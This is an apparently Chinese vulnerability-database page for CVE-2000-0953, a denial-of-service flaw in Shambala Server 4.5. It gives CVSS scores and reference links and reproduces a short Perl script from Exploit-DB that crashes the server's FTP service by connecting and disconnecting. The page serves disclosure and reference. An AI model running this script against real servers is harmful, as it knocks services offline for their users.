CVE-2000-0953
CVSS5.0
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:16
NMCOE    

[原文]Shambala Server 4.5 allows remote attackers to cause a denial of service by opening then closing a connection.


[CNNVD]Shambala服务器服务拒绝漏洞(CNNVD-200012-132)

        Shambala Server 4.5版本存在漏洞。远程攻击者通过打开然后关闭连接导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0953
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0953
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-132
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5345.php
(VENDOR_ADVISORY)  XF  shambala-connection-dos
http://www.securityfocus.com/bid/1778
(VENDOR_ADVISORY)  BID  1778
http://archives.neohapsis.com/archives/bugtraq/2000-10/0134.html
(VENDOR_ADVISORY)  BUGTRAQ  20001009 Shambala 4.5 vulnerability

- 漏洞信息

Shambala服务器服务拒绝漏洞
中危 未知
2000-12-19 00:00:00 2006-08-24 00:00:00
远程  
        Shambala Server 4.5版本存在漏洞。远程攻击者通过打开然后关闭连接导致服务拒绝。

- 公告与补丁

        

- 漏洞信息 (20282)

Evolvable Shambala Server 4.5 DoS Vulnerability (EDBID:20282)
windows dos
2000-10-09 Verified
0 zillion
N/A [点击下载]
source: http://www.securityfocus.com/bid/1778/info

Shambala Server is a FTP, Web, and Chat server targeted for the Small Office/Home Office user. 

The FTP server component does not properly handle certain incoming connection and disconnection requests. Successful exploitation could lead to disabling the Shambala Server service and restarting is required in order to regain normal functionality.

#!/usr/bin/perl
#
# This tool (tool not exploit!) crashes shambale server 4.5
# This is a stripped version of Guido Bakkers exploit code (bedankt)
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
&usage if !defined($args{s});
$serv = $args{s};
$EOL="\015\012";
$remote = IO::Socket::INET->new(
                   Proto       => "tcp",
                   PeerAddr    => $args{s},
                   PeerPort    => "ftp(21)",
               ) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print "Done...\n";
exit; # remove this and the server will *NOT* crash
sub usage {die("\n$0 -s ipaddress\n\n");}		

- 漏洞信息

1597
Evolvable Shambala Server Connection Saturation Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

2000-10-09 Unknow
2000-10-09 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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